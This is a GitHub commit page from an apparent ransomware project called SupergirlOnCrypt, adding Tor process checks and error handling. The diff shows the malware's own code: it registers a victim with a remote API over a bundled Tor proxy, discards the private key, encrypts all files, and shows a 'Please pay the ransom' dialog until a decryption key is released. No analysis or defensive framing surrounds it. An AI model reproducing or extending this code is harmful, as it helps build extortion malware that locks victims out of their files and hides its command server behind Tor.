Skip to content

Commit

Permalink
Tor Check, Error Handling
Browse files Browse the repository at this point in the history
  • Loading branch information
ThoughtfulDev committed Oct 14, 2017
1 parent bc09e7e commit 34ddb45
Show file tree
Hide file tree
Showing 7 changed files with 53 additions and 17 deletions.
6 changes: 3 additions & 3 deletions .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -2,11 +2,11 @@ App/__pycache__
App/pycache
*.pyc
App/.idea/
App/venv/
App/dist/
App/log
App/test_files/
App/build/
Scripts/venv/
Scripts/build/
Scripts/dist/
*.spec
API/vendor/
API/logs/*
Expand Down
23 changes: 14 additions & 9 deletions App/GUI.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
import json
import base64
import DecryptThread
import requests


class GUI(QWidget):
Expand Down Expand Up @@ -63,15 +64,19 @@ def placeWidgets(self):
self.btnDecrypt.clicked.connect(self.decryptData)

def decryptData(self):
self.progressBar.show()
tor = TorManager()
r = tor.getSession()
req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
data = json.loads(req.text)
if data['STATUS'] == "FAIL":
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nPlease pay the ransom", QMessageBox.Ok)
elif data['STATUS'] == "SUCCESS":
privkey = base64.b64decode(data['priv_key']).decode('utf-8')
try:
req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
data = json.loads(req.text)
if data['STATUS'] == "FAIL":
QMessageBox.question(self, "Still locked...", "Your machine is still locked\nPlease pay the ransom", QMessageBox.Ok)
elif data['STATUS'] == "SUCCESS":
self.progressBar.show()
privkey = base64.b64decode(data['priv_key']).decode('utf-8')

self.decryptThread = DecryptThread.DecryptThread(privkey)
self.decryptThread.start()
self.decryptThread = DecryptThread.DecryptThread(privkey)
self.decryptThread.start()
except requests.exceptions.RequestException:
QMessageBox.question(self, "Error", "You are fucked...",
QMessageBox.Ok)
12 changes: 12 additions & 0 deletions App/Helper.py
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,7 @@
import os
import sys
import logging
import psutil


class Helper:
Expand Down Expand Up @@ -40,6 +41,17 @@ def write_file(self, filename, content):
f.write(content)
f.close()

def safe_exit(self):
os = sys.platform
name = "tor"
if os == "win32":
name += ".exe"
for proc in psutil.process_iter():
if proc.name() == name:
proc.kill()
self.info("Killed tor...")
sys.exit(0)

def supergirl_pic(self):
print(' d8b 888')
print(' Y8P 888')
Expand Down
16 changes: 11 additions & 5 deletions App/SupergirlOnCrypt.py
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@
import Config
import json
import os
import requests
from pathlib import Path
from Helper import Helper
from FileCrypter import FileCrypter
Expand Down Expand Up @@ -79,11 +80,16 @@ def genKeyPair():
'platform': os_info
}
headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
req = _session.post(Config.API_URL + "/users/add", data=json.dumps(data), headers=headers)
_helper.debug("Got Response from /users/add => " + str(req.json()))
keys.forgetPrivate()
encryptAllFiles(keys)
return unique_id
try:
req = _session.post(Config.API_URL + "/users/add", data=json.dumps(data), headers=headers)
_helper.debug("Got Response from /users/add => " + str(req.json()))
keys.forgetPrivate()
encryptAllFiles(keys)
return unique_id
except requests.exceptions.RequestException:
_helper.safe_exit()
except requests.exceptions.ConnectionError:
_helper.safe_exit()

def encryptAllFiles(keys):
pathlist = []
Expand Down
12 changes: 12 additions & 0 deletions App/TorManager.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
import subprocess
import time
import Config
import psutil

class TorManager:
def __init__(self):
Expand All @@ -17,12 +18,23 @@ def __init__(self):

def startProxy(self):
if platform == "linux" or platform == "linux2" or platform == "darwin":
self.check(platform)
self.startLinux()
elif platform == "win32":
self.check(platform)
self.startWindows()
if Config.DEBUG_MODE is False:
time.sleep(10)

def check(self, os):
name = "tor"
if os == "win32":
name += ".exe"
for proc in psutil.process_iter():
if proc.name() == name:
proc.kill()
self._helper.info("Killed tor...")

def startLinux(self):
copyfile(self._helper.path("tor_bin/tor_linux.zip"), self.tor_path_linux + "zip")
if not os.path.exists(self.tor_path_linux):
Expand Down
1 change: 1 addition & 0 deletions App/requirements.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,4 +3,5 @@ pycryptodome
requests
pysocks
pyqt5
psutil

File renamed without changes.

0 comments on commit 34ddb45

Please sign in to comment.